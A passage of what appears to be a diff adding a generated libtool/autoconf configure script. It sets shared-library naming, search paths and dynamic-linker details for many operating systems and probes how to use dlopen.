library_names_spec='${libname}${release}.a $libname.a' + soname_spec='${libname}${release}${shared_ext}$major' + fi + shlibpath_var=LIBPATH + fi + ;; + +amigaos*) + case $host_cpu in + powerpc) + # Since July 2007 AmigaOS4 officially supports .so libraries. + # When compiling the executable, add -use-dynld -Lsobjs: to the compileline. + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + ;; + m68k) + library_names_spec='$libname.ixlibrary $libname.a' + # Create ${libname}_ixlibrary.a entries in /sys/libs. + finish_eval='for lib in `ls $libdir/*.ixlibrary 2>/dev/null`; do libname=`func_echo_all "$lib" | $SED '\''s%^.*/\([^/]*\)\.ixlibrary$%\1%'\''`; test $RM /sys/libs/${libname}_ixlibrary.a; $show "cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a"; cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a || exit 1; done' + ;; + esac + ;; + +beos*) + library_names_spec='${libname}${shared_ext}' + dynamic_linker="$host_os ld.so" + shlibpath_var=LIBRARY_PATH + ;; + +bsdi[45]*) + version_type=linux # correct to gnu/linux during the next big refactor + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + finish_cmds='PATH="\$PATH:/sbin" ldconfig $libdir' + shlibpath_var=LD_LIBRARY_PATH + sys_lib_search_path_spec="/shlib /usr/lib /usr/X11/lib /usr/contrib/lib /lib /usr/local/lib" + sys_lib_dlsearch_path_spec="/shlib /usr/lib /usr/local/lib" + # the default ld.so.conf also contains /usr/contrib/lib and + # /usr/X11R6/lib (/usr/X11 is a link to /usr/X11R6), but let us allow + # libtool to hard-code these into programs + ;; + +cygwin* | mingw* | pw32* | cegcc*) + version_type=windows + shrext_cmds=".dll" + need_version=no + need_lib_prefix=no + + case $GCC,$cc_basename in + yes,*) + # gcc + library_names_spec='$libname.dll.a' + # DLL is installed to $(libdir)/../bin by postinstall_cmds + postinstall_cmds='base_file=`basename \${file}`~ + dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~ + dldir=$destdir/`dirname \$dlpath`~ + test -d \$dldir || mkdir -p \$dldir~ + $install_prog $dir/$dlname \$dldir/$dlname~ + chmod a+x \$dldir/$dlname~ + if test -n '\''$stripme'\'' && test -n '\''$striplib'\''; then + eval '\''$striplib \$dldir/$dlname'\'' || exit \$?; + fi' + postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~ + dlpath=$dir/\$dldll~ + $RM \$dlpath' + shlibpath_overrides_runpath=yes + + case $host_os in + cygwin*) + # Cygwin DLLs use 'cyg' prefix rather than 'lib' + soname_spec='`echo ${libname} | sed -e 's/^lib/cyg/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}' + + sys_lib_search_path_spec="$sys_lib_search_path_spec /usr/lib/w32api" + ;; + mingw* | cegcc*) + # MinGW DLLs use traditional 'lib' prefix + soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}' + ;; + pw32*) + # pw32 DLLs use 'pw' prefix rather than 'lib' + library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}' + ;; + esac + dynamic_linker='Win32 ld.exe' + ;; + + *,cl*) + # Native MSVC + libname_spec='$name' + soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}' + library_names_spec='${libname}.dll.lib' + + case $build_os in + mingw*) + sys_lib_search_path_spec= + lt_save_ifs=$IFS + IFS=';' + for lt_path in $LIB + do + IFS=$lt_save_ifs + # Let DOS variable expansion print the short 8.3 style file name. + lt_path=`cd "$lt_path" 2>/dev/null && cmd //C "for %i in (".") do @echo %~si"` + sys_lib_search_path_spec="$sys_lib_search_path_spec $lt_path" + done + IFS=$lt_save_ifs + # Convert to MSYS style. + sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | sed -e 's|\\\\|/|g' -e 's| \\([a-zA-Z]\\):| /\\1|g' -e 's|^ ||'` + ;; + cygwin*) + # Convert to unix form, then to dos form, then back to unix form + # but this time dos style (no spaces!) so that the unix form looks + # like /cygdrive/c/PROGRA~1:/cygdr... + sys_lib_search_path_spec=`cygpath --path --unix "$LIB"` + sys_lib_search_path_spec=`cygpath --path --dos "$sys_lib_search_path_spec" 2>/dev/null` + sys_lib_search_path_spec=`cygpath --path --unix "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"` + ;; + *) + sys_lib_search_path_spec="$LIB" + if $ECHO "$sys_lib_search_path_spec" | $GREP ';[c-zC-Z]:/' >/dev/null; then + # It is most probably a Windows format PATH. + sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'` + else + sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"` + fi + # FIXME: find the short name or the path components, as spaces are + # common. (e.g. "Program Files" -> "PROGRA~1") + ;; + esac + + # DLL is installed to $(libdir)/../bin by postinstall_cmds + postinstall_cmds='base_file=`basename \${file}`~ + dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~ + dldir=$destdir/`dirname \$dlpath`~ + test -d \$dldir || mkdir -p \$dldir~ + $install_prog $dir/$dlname \$dldir/$dlname' + postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~ + dlpath=$dir/\$dldll~ + $RM \$dlpath' + shlibpath_overrides_runpath=yes + dynamic_linker='Win32 link.exe' + ;; + + *) + # Assume MSVC wrapper + library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib' + dynamic_linker='Win32 ld.exe' + ;; + esac + # FIXME: first we should search . and the directory the executable is in + shlibpath_var=PATH + ;; + +darwin* | rhapsody*) + dynamic_linker="$host_os dyld" + version_type=darwin + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${major}$shared_ext ${libname}$shared_ext' + soname_spec='${libname}${release}${major}$shared_ext' + shlibpath_overrides_runpath=yes + shlibpath_var=DYLD_LIBRARY_PATH + shrext_cmds='`test .$module = .yes && echo .so || echo .dylib`' + + sys_lib_search_path_spec="$sys_lib_search_path_spec /usr/local/lib" + sys_lib_dlsearch_path_spec='/usr/local/lib /lib /usr/lib' + ;; + +dgux*) + version_type=linux # correct to gnu/linux during the next big refactor + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname$shared_ext' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + ;; + +freebsd* | dragonfly*) + # DragonFly does not have aout. When/if they implement a new + # versioning mechanism, adjust this. + if test -x /usr/bin/objformat; then + objformat=`/usr/bin/objformat` + else + case $host_os in + freebsd[23].*) objformat=aout ;; + *) objformat=elf ;; + esac + fi + version_type=freebsd-$objformat + case $version_type in + freebsd-elf*) + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}' + need_version=no + need_lib_prefix=no + ;; + freebsd-*) + library_names_spec='${libname}${release}${shared_ext}$versuffix $libname${shared_ext}$versuffix' + need_version=yes + ;; + esac + shlibpath_var=LD_LIBRARY_PATH + case $host_os in + freebsd2.*) + shlibpath_overrides_runpath=yes + ;; + freebsd3.[01]* | freebsdelf3.[01]*) + shlibpath_overrides_runpath=yes + hardcode_into_libs=yes + ;; + freebsd3.[2-9]* | freebsdelf3.[2-9]* | \ + freebsd4.[0-5] | freebsdelf4.[0-5] | freebsd4.1.1 | freebsdelf4.1.1) + shlibpath_overrides_runpath=no + hardcode_into_libs=yes + ;; + *) # from 4.6 on, and DragonFly + shlibpath_overrides_runpath=yes + hardcode_into_libs=yes + ;; + esac + ;; + +gnu*) + version_type=linux # correct to gnu/linux during the next big refactor + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}${major} ${libname}${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no + hardcode_into_libs=yes + ;; + +haiku*) + version_type=linux # correct to gnu/linux during the next big refactor + need_lib_prefix=no + need_version=no + dynamic_linker="$host_os runtime_loader" + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}${major} ${libname}${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LIBRARY_PATH + shlibpath_overrides_runpath=yes + sys_lib_dlsearch_path_spec='/boot/home/config/lib /boot/common/lib /boot/system/lib' + hardcode_into_libs=yes + ;; + +hpux9* | hpux10* | hpux11*) + # Give a soname corresponding to the major version so that dld.sl refuses to + # link against other versions. + version_type=sunos + need_lib_prefix=no + need_version=no + case $host_cpu in + ia64*) + shrext_cmds='.so' + hardcode_into_libs=yes + dynamic_linker="$host_os dld.so" + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes # Unless +noenvvar is specified. + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + if test "X$HPUX_IA64_MODE" = X32; then + sys_lib_search_path_spec="/usr/lib/hpux32 /usr/local/lib/hpux32 /usr/local/lib" + else + sys_lib_search_path_spec="/usr/lib/hpux64 /usr/local/lib/hpux64" + fi + sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec + ;; + hppa*64*) + shrext_cmds='.sl' + hardcode_into_libs=yes + dynamic_linker="$host_os dld.sl" + shlibpath_var=LD_LIBRARY_PATH # How should we handle SHLIB_PATH + shlibpath_overrides_runpath=yes # Unless +noenvvar is specified. + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + sys_lib_search_path_spec="/usr/lib/pa20_64 /usr/ccs/lib/pa20_64" + sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec + ;; + *) + shrext_cmds='.sl' + dynamic_linker="$host_os dld.sl" + shlibpath_var=SHLIB_PATH + shlibpath_overrides_runpath=no # +s is required to enable SHLIB_PATH + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + ;; + esac + # HP-UX runs *really* slowly unless shared libraries are mode 555, ... + postinstall_cmds='chmod 555 $lib' + # or fails outright, so override atomically: + install_override_mode=555 + ;; + +interix[3-9]*) + version_type=linux # correct to gnu/linux during the next big refactor + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + dynamic_linker='Interix 3.x ld.so.1 (PE, like ELF)' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no + hardcode_into_libs=yes + ;; + +irix5* | irix6* | nonstopux*) + case $host_os in + nonstopux*) version_type=nonstopux ;; + *) + if test "$lt_cv_prog_gnu_ld" = yes; then + version_type=linux # correct to gnu/linux during the next big refactor + else + version_type=irix + fi ;; + esac + need_lib_prefix=no + need_version=no + soname_spec='${libname}${release}${shared_ext}$major' + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext} $libname${shared_ext}' + case $host_os in + irix5* | nonstopux*) + libsuff= shlibsuff= + ;; + *) + case $LD in # libtool.m4 will add one of these switches to LD + *-32|*"-32 "|*-melf32bsmip|*"-melf32bsmip ") + libsuff= shlibsuff= libmagic=32-bit;; + *-n32|*"-n32 "|*-melf32bmipn32|*"-melf32bmipn32 ") + libsuff=32 shlibsuff=N32 libmagic=N32;; + *-64|*"-64 "|*-melf64bmip|*"-melf64bmip ") + libsuff=64 shlibsuff=64 libmagic=64-bit;; + *) libsuff= shlibsuff= libmagic=never-match;; + esac + ;; + esac + shlibpath_var=LD_LIBRARY${shlibsuff}_PATH + shlibpath_overrides_runpath=no + sys_lib_search_path_spec="/usr/lib${libsuff} /lib${libsuff} /usr/local/lib${libsuff}" + sys_lib_dlsearch_path_spec="/usr/lib${libsuff} /lib${libsuff}" + hardcode_into_libs=yes + ;; + +# No shared lib support for Linux oldld, aout, or coff. +linux*oldld* | linux*aout* | linux*coff*) + dynamic_linker=no + ;; + +# This must be glibc/ELF. +linux* | k*bsd*-gnu | kopensolaris*-gnu) + version_type=linux # correct to gnu/linux during the next big refactor + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + finish_cmds='PATH="\$PATH:/sbin" ldconfig -n $libdir' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no + + # Some binutils ld are patched to set DT_RUNPATH + if ${lt_cv_shlibpath_overrides_runpath+:} false; then : + $as_echo_n "(cached) " >&6 +else + lt_cv_shlibpath_overrides_runpath=no + save_LDFLAGS=$LDFLAGS + save_libdir=$libdir + eval "libdir=/foo; wl=\"$lt_prog_compiler_wl\"; \ + LDFLAGS=\"\$LDFLAGS $hardcode_libdir_flag_spec\"" + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_link "$LINENO"; then : + if ($OBJDUMP -p conftest$ac_exeext) 2>/dev/null | grep "RUNPATH.*$libdir" >/dev/null; then : + lt_cv_shlibpath_overrides_runpath=yes +fi +fi +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext + LDFLAGS=$save_LDFLAGS + libdir=$save_libdir + +fi + + shlibpath_overrides_runpath=$lt_cv_shlibpath_overrides_runpath + + # This implies no fast_install, which is unacceptable. + # Some rework will be needed to allow for fast_install + # before this can be enabled. + hardcode_into_libs=yes + + # Append ld.so.conf contents to the search path + if test -f /etc/ld.so.conf; then + lt_ld_extra=`awk '/^include / { system(sprintf("cd /etc; cat %s 2>/dev/null", \$2)); skip = 1; } { if (!skip) print \$0; skip = 0; }' < /etc/ld.so.conf | $SED -e 's/#.*//;/^[ ]*hwcap[ ]/d;s/[:, ]/ /g;s/=[^=]*$//;s/=[^= ]* / /g;s/"//g;/^$/d' | tr '\n' ' '` + sys_lib_dlsearch_path_spec="/lib /usr/lib $lt_ld_extra" + fi + + # We used to test for /lib/ld.so.1 and disable shared libraries on + # powerpc, because MkLinux only supported shared libraries with the + # GNU dynamic linker. Since this was broken with cross compilers, + # most powerpc-linux boxes support dynamic linking these days and + # people can always --disable-shared, the test was removed, and we + # assume the GNU/Linux dynamic linker is in use. + dynamic_linker='GNU/Linux ld.so' + ;; + +netbsd*) + version_type=sunos + need_lib_prefix=no + need_version=no + if echo __ELF__ | $CC -E - | $GREP __ELF__ >/dev/null; then + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix' + finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir' + dynamic_linker='NetBSD (a.out) ld.so' + else + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + dynamic_linker='NetBSD ld.elf_so' + fi + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + hardcode_into_libs=yes + ;; + +newsos6) + version_type=linux # correct to gnu/linux during the next big refactor + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + ;; + +*nto* | *qnx*) + version_type=qnx + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no + hardcode_into_libs=yes + dynamic_linker='ldqnx.so' + ;; + +openbsd*) + version_type=sunos + sys_lib_dlsearch_path_spec="/usr/lib" + need_lib_prefix=no + # Some older versions of OpenBSD (3.3 at least) *do* need versioned libs. + case $host_os in + openbsd3.3 | openbsd3.3.*) need_version=yes ;; + *) need_version=no ;; + esac + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix' + finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir' + shlibpath_var=LD_LIBRARY_PATH + if test -z "`echo __ELF__ | $CC -E - | $GREP __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then + case $host_os in + openbsd2.[89] | openbsd2.[89].*) + shlibpath_overrides_runpath=no + ;; + *) + shlibpath_overrides_runpath=yes + ;; + esac + else + shlibpath_overrides_runpath=yes + fi + ;; + +os2*) + libname_spec='$name' + shrext_cmds=".dll" + need_lib_prefix=no + library_names_spec='$libname${shared_ext} $libname.a' + dynamic_linker='OS/2 ld.exe' + shlibpath_var=LIBPATH + ;; + +osf3* | osf4* | osf5*) + version_type=osf + need_lib_prefix=no + need_version=no + soname_spec='${libname}${release}${shared_ext}$major' + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + shlibpath_var=LD_LIBRARY_PATH + sys_lib_search_path_spec="/usr/shlib /usr/ccs/lib /usr/lib/cmplrs/cc /usr/lib /usr/local/lib /var/shlib" + sys_lib_dlsearch_path_spec="$sys_lib_search_path_spec" + ;; + +rdos*) + dynamic_linker=no + ;; + +solaris*) + version_type=linux # correct to gnu/linux during the next big refactor + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + hardcode_into_libs=yes + # ldd complains unless libraries are executable + postinstall_cmds='chmod +x $lib' + ;; + +sunos4*) + version_type=sunos + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix' + finish_cmds='PATH="\$PATH:/usr/etc" ldconfig $libdir' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + if test "$with_gnu_ld" = yes; then + need_lib_prefix=no + fi + need_version=yes + ;; + +sysv4 | sysv4.3*) + version_type=linux # correct to gnu/linux during the next big refactor + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + case $host_vendor in + sni) + shlibpath_overrides_runpath=no + need_lib_prefix=no + runpath_var=LD_RUN_PATH + ;; + siemens) + need_lib_prefix=no + ;; + motorola) + need_lib_prefix=no + need_version=no + shlibpath_overrides_runpath=no + sys_lib_search_path_spec='/lib /usr/lib /usr/ccs/lib' + ;; + esac + ;; + +sysv4*MP*) + if test -d /usr/nec ;then + version_type=linux # correct to gnu/linux during the next big refactor + library_names_spec='$libname${shared_ext}.$versuffix $libname${shared_ext}.$major $libname${shared_ext}' + soname_spec='$libname${shared_ext}.$major' + shlibpath_var=LD_LIBRARY_PATH + fi + ;; + +sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX* | sysv4*uw2*) + version_type=freebsd-elf + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + hardcode_into_libs=yes + if test "$with_gnu_ld" = yes; then + sys_lib_search_path_spec='/usr/local/lib /usr/gnu/lib /usr/ccs/lib /usr/lib /lib' + else + sys_lib_search_path_spec='/usr/ccs/lib /usr/lib' + case $host_os in + sco3.2v5*) + sys_lib_search_path_spec="$sys_lib_search_path_spec /lib" + ;; + esac + fi + sys_lib_dlsearch_path_spec='/usr/lib' + ;; + +tpf*) + # TPF is a cross-target only. Preferred cross-host = GNU/Linux. + version_type=linux # correct to gnu/linux during the next big refactor + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no + hardcode_into_libs=yes + ;; + +uts4*) + version_type=linux # correct to gnu/linux during the next big refactor + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + ;; + +*) + dynamic_linker=no + ;; +esac +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $dynamic_linker" >&5 +$as_echo "$dynamic_linker" >&6; } +test "$dynamic_linker" = no && can_build_shared=no + +variables_saved_for_relink="PATH $shlibpath_var $runpath_var" +if test "$GCC" = yes; then + variables_saved_for_relink="$variables_saved_for_relink GCC_EXEC_PREFIX COMPILER_PATH LIBRARY_PATH" +fi + +if test "${lt_cv_sys_lib_search_path_spec+set}" = set; then + sys_lib_search_path_spec="$lt_cv_sys_lib_search_path_spec" +fi +if test "${lt_cv_sys_lib_dlsearch_path_spec+set}" = set; then + sys_lib_dlsearch_path_spec="$lt_cv_sys_lib_dlsearch_path_spec" +fi + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + { $as_echo "$as_me:${as_lineno-$LINENO}: checking how to hardcode library paths into programs" >&5 +$as_echo_n "checking how to hardcode library paths into programs... " >&6; } +hardcode_action= +if test -n "$hardcode_libdir_flag_spec" || + test -n "$runpath_var" || + test "X$hardcode_automatic" = "Xyes" ; then + + # We can hardcode non-existent directories. + if test "$hardcode_direct" != no && + # If the only mechanism to avoid hardcoding is shlibpath_var, we + # have to relink, otherwise we might link with an installed library + # when we should be linking with a yet-to-be-installed one + ## test "$_LT_TAGVAR(hardcode_shlibpath_var, )" != no && + test "$hardcode_minus_L" != no; then + # Linking always hardcodes the temporary library directory. + hardcode_action=relink + else + # We can link without hardcoding, and we can hardcode nonexisting dirs. + hardcode_action=immediate + fi +else + # We cannot hardcode anything, or else we can only hardcode existing + # directories. + hardcode_action=unsupported +fi +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $hardcode_action" >&5 +$as_echo "$hardcode_action" >&6; } + +if test "$hardcode_action" = relink || + test "$inherit_rpath" = yes; then + # Fast installation is not supported + enable_fast_install=no +elif test "$shlibpath_overrides_runpath" = yes || + test "$enable_shared" = no; then + # Fast installation is not necessary + enable_fast_install=needless +fi + + + + + + + if test "x$enable_dlopen" != xyes; then + enable_dlopen=unknown + enable_dlopen_self=unknown + enable_dlopen_self_static=unknown +else + lt_cv_dlopen=no + lt_cv_dlopen_libs= + + case $host_os in + beos*) + lt_cv_dlopen="load_add_on" + lt_cv_dlopen_libs= + lt_cv_dlopen_self=yes + ;; + + mingw* | pw32* | cegcc*) + lt_cv_dlopen="LoadLibrary" + lt_cv_dlopen_libs= + ;; + + cygwin*) + lt_cv_dlopen="dlopen" + lt_cv_dlopen_libs= + ;; + + darwin*) + # if libdl is installed we need to link against it + { $as_echo "$as_me:${as_lineno-$LINENO}: checking for dlopen in -ldl" >&5 +$as_echo_n "checking for dlopen in -ldl... " >&6; } +if ${ac_cv_lib_dl_dlopen+:} false; then : + $as_echo_n "(cached) " >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-ldl $LIBS" +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char dlopen (); +int +main () +{ +return dlopen (); + ; + return 0; +} +_ACEOF +if ac_fn_c_try_link "$LINENO"; then : + ac_cv_lib_dl_dlopen=yes +else + ac_cv_lib_dl_dlopen=no +fi +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_dl_dlopen" >&5 +$as_echo "$ac_cv_lib_dl_dlopen" >&6; } +if test "x$ac_cv_lib_dl_dlopen" = xyes; then : + lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-ldl" +else + + lt_cv_dlopen="dyld" + lt_cv_dlopen_libs= + lt_cv_dlopen_self=yes + +fi + + ;; + + *) + ac_fn_c_check_func "$LINENO" "shl_load" "ac_cv_func_shl_load" +if test "x$ac_cv_func_shl_load" = xyes; then : + lt_cv_dlopen="shl_load" +else + { $as_echo "$as_me:${as_lineno-$LINENO}: checking for shl_load in -ldld" >&5 +$as_echo_n "checking for shl_load in -ldld... " >&6; } +if ${ac_cv_lib_dld_shl_load+:} false; then : + $as_echo_n "(cached) " >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-ldld $LIBS" +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char shl_load (); +int +main () +{ +return shl_load (); + ; + return 0; +} +_ACEOF +if ac_fn_c_try_link "$LINENO"; then : + ac_cv_lib_dld_shl_load=yes +else + ac_cv_lib_dld_shl_load=no +fi +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_dld_shl_load" >&5 +$as_echo "$ac_cv_lib_dld_shl_load" >&6; } +if test "x$ac_cv_lib_dld_shl_load" = xyes; then : + lt_cv_dlopen="shl_load" lt_cv_dlopen_libs="-ldld" +else + ac_fn_c_check_func "$LINENO" "dlopen" "ac_cv_func_dlopen" +if test "x$ac_cv_func_dlopen" = xyes; then : + lt_cv_dlopen="dlopen" +else + { $as_echo "$as_me:${as_lineno-$LINENO}: checking for dlopen in -ldl" >&5 +$as_echo_n "checking for dlopen in -ldl... " >&6; } +if ${ac_cv_lib_dl_dlopen+:} false; then : + $as_echo_n "(cached) " >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-ldl $LIBS" +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char dlopen (); +int +main () +{ +return dlopen (); + ; + return 0; +} +_ACEOF +if ac_fn_c_try_link "$LINENO"; then : + ac_cv_lib_dl_dlopen=yes +else + ac_cv_lib_dl_dlopen=no +fi +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_dl_dlopen" >&5 +$as_echo "$ac_cv_lib_dl_dlopen" >&6; } +if test "x$ac_cv_lib_dl_dlopen" = xyes; then : + lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-ldl" +else + { $as_echo "$as_me:${as_lineno-$LINENO}: checking for dlopen in -lsvld" >&5 +$as_echo_n "checking for dlopen in -lsvld... " >&6; } +if ${ac_cv_lib_svld_dlopen+:} false; then : + $as_echo_n "(cached) " >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-lsvld $LIBS" +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char dlopen (); +int +main () +{ +return dlopen (); + ; + return 0; +} +_ACEOF +if ac_fn_c_try_link "$LINENO"; then : + ac_cv_lib_svld_dlopen=yes +else + ac_cv_lib_svld_dlopen=no +fi +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_svld_dlopen" >&5 +$as_echo "$ac_cv_lib_svld_dlopen" >&6; } +if test "x$ac_cv_lib_svld_dlopen" = xyes; then : + lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-lsvld" +else + { $as_echo "$as_me:${as_lineno-$LINENO}: checking for dld_link in -ldld" >&5 +$as_echo_n "checking for dld_link in -ldld... " >&6; } +if ${ac_cv_lib_dld_dld_link+:} false; then : + $as_echo_n "(cached) " >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-ldld $LIBS" +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char dld_link (); +int +main () +{ +return dld_link (); + ; + return 0; +} +_ACEOF +if ac_fn_c_try_link "$LINENO"; then : + ac_cv_lib_dld_dld_link=yes +else + ac_cv_lib_dld_dld_link=no +fi +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext 